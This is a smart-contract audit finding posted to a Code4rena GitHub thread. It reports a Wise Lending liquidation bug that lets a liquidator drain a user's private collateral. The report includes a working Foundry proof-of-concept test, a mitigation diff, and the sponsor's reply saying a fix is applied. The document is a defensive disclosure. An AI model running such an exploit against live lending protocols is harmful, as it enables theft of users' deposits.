c4-bot-2 commented 8 months ago

Lines of code

https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseSecurity/WiseSecurityHelper.sol#L760-L786 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseSecurity/WiseSecurityHelper.sol#L206-L208 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseCore.sol#L564-L586

Vulnerability details

Vulnerability Description

When a user deposits in the Wiselending contract he can make a private deposit (pure) which allows his deposits not to be used as collateral or a normal deposit. He can also set his position to be collateralized or uncollateralized. If a position is collateralized, the normal deposit can be used as collateral and vice-versa.

When a user uncollateralizes his position, he can only use his private deposit as collateral. If the position becomes liquidatable, it means the private deposit can no longer cover the amount borrowed. In the call to getFullCollateralETH() below only the private collateral is returned immediately as full collateral if it is uncollateralized.

WiseSecurityHelper.sol#L198-L208

        ethCollateral = _getTokensInEth(
            _poolToken,
            WISE_LENDING.getPureCollateralAmount(
                _nftId,
                _poolToken
            )
        );

  ❌     if (_isUncollateralized(_nftId, _poolToken) == true) {
            return ethCollateral;
        }

In a liquidation, the amount to be liquidated is expressed as a percentage of the full collateral. In an uncollateralized position, the full collateral is the private collateral. The calculateWishPercentage() call calculates this percentage.

WiseSecurityHelper.sol#L760-L786

    function calculateWishPercentage( uint256 _nftId, address _receiveToken, uint256 _paybackETH, uint256 _maxFeeETH, uint256 _baseRewardLiquidation
    ) external view returns (uint256)
    {
        uint256 feeETH = _checkMaxFee(
            _paybackETH,
            _baseRewardLiquidation,
            _maxFeeETH
        );

        uint256 numerator = (feeETH + _paybackETH)
            * PRECISION_FACTOR_E18;

        uint256 denominator = getFullCollateralETH(
            _nftId,
            _receiveToken
        );

        return numerator / denominator + 1;
    }

The amount to be liquidated i.e the amount the liquidator receives is calculated in _calculateReceiveAmount() using the percentage from calculateWishPercentage() and applied to the position's pure collateral first in line 557 below.

It calculates the percentage of the user's normal balance to be reduced in line 569 without checking if it is uncollateralized. If the amount it gets i.e potentialPureExtraCashout is greater than zero and less than the current private balance (pureCollateral) in line 576, it is reduced from the private balance.

WiseCore.sol#L564-L586

556:         if (pureCollateralAmount[_nftId][_receiveTokens] > 0) {
557:             receiveAmount = _withdrawPureCollateralLiquidation(
558:                 _nftId,
559:                 _receiveTokens,
560:                 _removePercentage
561:             );
562:         }
563: 
564:         uint256 potentialPureExtraCashout;
565:         uint256 userShares = userLendingData[_nftId][_receiveTokens].shares;
566:         uint256 pureCollateral = pureCollateralAmount[_nftId][_receiveTokens];
567: 
568:         if (pureCollateral > 0 && userShares > 0) {
569:             potentialPureExtraCashout = _calculatePotentialPureExtraCashout(
570:                 userShares,
571:                 _receiveTokens,
572:                 _removePercentage
573:             );
574:         }
575: 
576:         if (potentialPureExtraCashout > 0 && potentialPureExtraCashout <= pureCollateral) {
577:             _decreasePositionMappingValue(
578:                 pureCollateralAmount,
579:                 _nftId,
580:                 _receiveTokens,
581:                 potentialPureExtraCashout
582:             );
583: 
584:             _decreaseTotalBareToken(
585:                 _receiveTokens,
586:                 potentialPureExtraCashout
587:             );
588: 
589:             return receiveAmount + potentialPureExtraCashout;
590:         }
591:

The issue is the implementation applies the percentage meant for only the private collateral to both the normal and private collateral. It should reduce only the private collateral, but may also reduce the public collateral and send it to the liquidator.

Here's how a malicious liquidator can profit and steal user funds:

User deposits \$100 worth of WETH in his private balance and \$100 worth of WETH in his normal balance.
He uncollateralizes his position and borrows \$70 worth of WBTC.
If the price of WBTC he borrowed goes up to \$100, he can be liquidated.
Assuming no liquidation fees, the liquidator pays \$50 WBTC to liquidate \$50 WETH (50%) from the user's private balance leaving \$50.
The 50% is applied to the user's public balance giving \$50. This is also deducted from the private balance leaving \$0 in the private balance.
The liquidator ends up paying only \$50 to earn $50 extra.

A liquidator can set it up to drain the private collateral balance and only pay for a portion of the liquidation. The user ends up losing funds and the protocol's bad debt increases.

Impact

This vulnerability allows the liquidator to steal the user's balance and pay for only a portion of the shares. It has these effects:

The user loses funds.
The amount of bad debt in the protocol is increased.

Proof of Concept

The testStealPureBalance() test below shows a liquidator earning more than the amount he paid for liquidation. The test can be put in any test file in the contracts directory and run there.

pragma solidity =0.8.24;

import "forge-std/Test.sol";

import {WiseLending, PoolManager} from "./WiseLending.sol";
import {TesterWiseOracleHub} from "./WiseOracleHub/TesterWiseOracleHub.sol";
import {PositionNFTs} from "./PositionNFTs.sol";
import {WiseSecurity} from "./WiseSecurity/WiseSecurity.sol";
import {AaveHub} from "./WrapperHub/AaveHub.sol";
import {Token} from "./Token.sol";
import {TesterChainlink} from "./TesterChainlink.sol";

import {IPriceFeed} from "./InterfaceHub/IPriceFeed.sol";
import {IERC20} from "./InterfaceHub/IERC20.sol";
import {IWiseLending} from "./InterfaceHub/IWiseLending.sol";

import {ContractLibrary} from "./PowerFarms/PendlePowerFarmController/ContractLibrary.sol";

contract WiseLendingTest is Test, ContractLibrary {

  WiseLending wiseLending;
  TesterWiseOracleHub oracleHub;
  PositionNFTs positionNFTs;
  WiseSecurity wiseSecurity;
  AaveHub aaveHub;
  TesterChainlink wbtcOracle;

  // users/admin
  address alice = address(1);
  address bob = address(2);
  address charles = address(3);
  address lendingMaster;

  //tokens
  address wbtc;

  function setUp() public {
    lendingMaster = address(11);
    vm.startPrank(lendingMaster);

    address ETH_PRICE_FEED = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;
    address UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984;
    address AAVE_ADDRESS = 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;

    // deploy oracle hub
    oracleHub = new TesterWiseOracleHub(
      WETH,
      ETH_PRICE_FEED,
      UNISWAP_V3_FACTORY
    );
    oracleHub.setHeartBeat(
      oracleHub.ETH_USD_PLACEHOLDER(), // set USD/ETH feed heartbeat
      1
    );

    // deploy position NFT
    positionNFTs = new PositionNFTs(
        "PositionsNFTs",
        "POSNFTS",
        "app.wisetoken.net/json-data/nft-data/"
    );

    // deploy Wiselending contract
    wiseLending = new WiseLending(
      lendingMaster,
      address(oracleHub),
      address(positionNFTs)
    );

    // deploy AaveHub
    aaveHub = new AaveHub(
      lendingMaster,
      AAVE_ADDRESS,
      address(wiseLending)
    );

    // deploy Wisesecurity contract
    wiseSecurity = new WiseSecurity(
      lendingMaster,
      address(wiseLending),
      address(aaveHub)
    );

    wiseLending.setSecurity(address(wiseSecurity));
    // set labels
    vm.label(address(wiseLending), "WiseLending");
    vm.label(address(positionNFTs), "PositionNFTs");
    vm.label(address(oracleHub), "OracleHub");
    vm.label(address(wiseSecurity), "WiseSecurity");
    vm.label(alice, "Alice");
    vm.label(bob, "Bob");
    vm.label(charles, "Charles");
    vm.label(wbtc, "WBTC");
    vm.label(WETH, "WETH");

    // create tokens, create TestChainlink oracle, add to oracleHub
    (wbtc, wbtcOracle) = _setupToken(18, 17 ether);
    oracleHub.setHeartBeat(wbtc, 1);
    wbtcOracle.setRoundData(0, block.timestamp -1);
    // setup WETH on oracle hub
    oracleHub.setHeartBeat(WETH, 60 minutes);
    oracleHub.addOracle(WETH, IPriceFeed(ETH_PRICE_FEED), new address[](0));

    // create pools
    wiseLending.createPool(
      PoolManager.CreatePool({
        allowBorrow: true,
        poolToken: wbtc, // btc
        poolMulFactor: 17500000000000000,
        poolCollFactor: 805000000000000000,
        maxDepositAmount: 1800000000000000000000000
      })
    );

    wiseLending.createPool(
      PoolManager.CreatePool({
        allowBorrow: true,
        poolToken: WETH, // btc
        poolMulFactor: 17500000000000000,
        poolCollFactor: 805000000000000000,
        maxDepositAmount: 1800000000000000000000000
      })
    );
  }

  function _setupToken(uint decimals, uint value) internal returns (address token, TesterChainlink oracle) {
    Token _token = new Token(uint8(decimals), alice); // deploy token
    TesterChainlink _oracle = new TesterChainlink( // deploy oracle
      value, 18
    ); 
    oracleHub.addOracle( // add oracle to oracle hub
      address(_token), 
      IPriceFeed(address(_oracle)), 
      new address[](0)
    );

    return (address(_token), _oracle);
  }

  function testStealPureBalance() public {
    // deposit WETH in private and public balances for Alice's NFT
    vm.startPrank(alice);
    deal(WETH, alice, 100 ether);
    IERC20(WETH).approve(address(wiseLending), 100 ether);
    uint aliceNft = positionNFTs.reservePosition();
    wiseLending.depositExactAmount(aliceNft, WETH, 50 ether);
    wiseLending.solelyDeposit(aliceNft, WETH, 50 ether);

    // deposit for Bob's NFT to provide WBTC liquidity
    vm.startPrank(bob);
    deal(wbtc, bob, 100 ether);
    IERC20(wbtc).approve(address(wiseLending), 100 ether);
    wiseLending.depositExactAmountMint(wbtc, 100 ether);

    // Uncollateralize Alice's NFT position to allow only private(pure)
    // balance to be used as collateral
    vm.startPrank(alice);
    wiseLending.unCollateralizeDeposit(aliceNft, WETH);
    (, , uint lendCollFactor) = wiseLending.lendingPoolData(WETH);
    uint usableCollateral = 50 ether *  lendCollFactor * 95e16 / 1e36 ;

    // alice borrows
    uint borrowable = oracleHub.getTokensFromETH(wbtc, usableCollateral) - 1000;
    uint paybackShares = wiseLending.borrowExactAmount(aliceNft, wbtc, borrowable);

    vm.startPrank(lendingMaster);
    // increase the price of WBTC to make Alice's position liquidatable
    wbtcOracle.setValue(20 ether); 

    // let charles get WBTC to liquidate Alice
    vm.startPrank(charles);
    uint charlesNft  = positionNFTs.reservePosition();
    uint paybackAmount = wiseLending.paybackAmount(wbtc, paybackShares);
    deal(wbtc, charles, paybackAmount);
    IERC20(wbtc).approve(address(wiseLending), paybackAmount);

    uint wbtcBalanceBefore = IERC20(wbtc).balanceOf(charles);
    uint wethBalanceBefore = IERC20(WETH).balanceOf(charles);
    // charles liquidates 40% of the shares to ensure he can reduce the pure collateral balance twice
    wiseLending.liquidatePartiallyFromTokens(aliceNft, charlesNft, wbtc, WETH, paybackShares * 40e16/1e18);

    uint wbtcBalanceChange = wbtcBalanceBefore - IERC20(wbtc).balanceOf(charles);
    uint wethBalanceChange = IERC20(WETH).balanceOf(charles) - wethBalanceBefore;

    // The amount of WETH Charles got is 2x the amount of WBTC he paid plus fees (10% of amount paid)
    // WBTC paid plus fees = 110% * wbtcBalanceChange
    // x2WBTCChangePlusFees = 2 * WBTC paid plus fees
    uint x2WBTCChangePlusFees = oracleHub.getTokensInETH(wbtc, 11e17 * wbtcBalanceChange / 1e18) * 2;

    assertApproxEqAbs(wethBalanceChange, x2WBTCChangePlusFees, 200);
  }
}

Tools Used

Manual Analysis

Recommended Mitigation Steps

To ensure the code does not also consider the normal balance at all we can check if the position is uncollateralized early. Currently, this check is done but is done too late in the _calculateReceiveAmount() function. We can fix it by moving the check.

WiseCore.sol#L560-L594


+        if (userLendingData[_nftId][_receiveTokens].unCollateralized == true) {
+            return receiveAmount;
+        }
+
         uint256 potentialPureExtraCashout;
         uint256 userShares = userLendingData[_nftId][_receiveTokens].shares;
         uint256 pureCollateral = pureCollateralAmount[_nftId][_receiveTokens];

         ...

-        if (userLendingData[_nftId][_receiveTokens].unCollateralized == true) {
-            return receiveAmount;
-        }
-
         return _withdrawOrAllocateSharesLiquidation(
             _nftId,
             _nftIdLiquidator,

Assessed type

Invalid Validation

c4-pre-sort commented 7 months ago

GalloDaSballo marked the issue as primary issue

c4-pre-sort commented 7 months ago

GalloDaSballo marked the issue as sufficient quality report

vm06007 commented 7 months ago

edge case if user is about to be liquidated I think they will make things collateralized to avoid liquidation, either way we would like to see this as medium. fix already applied. this is also something that been explored in hats.finance competition hence 564-566 lines came from there etc.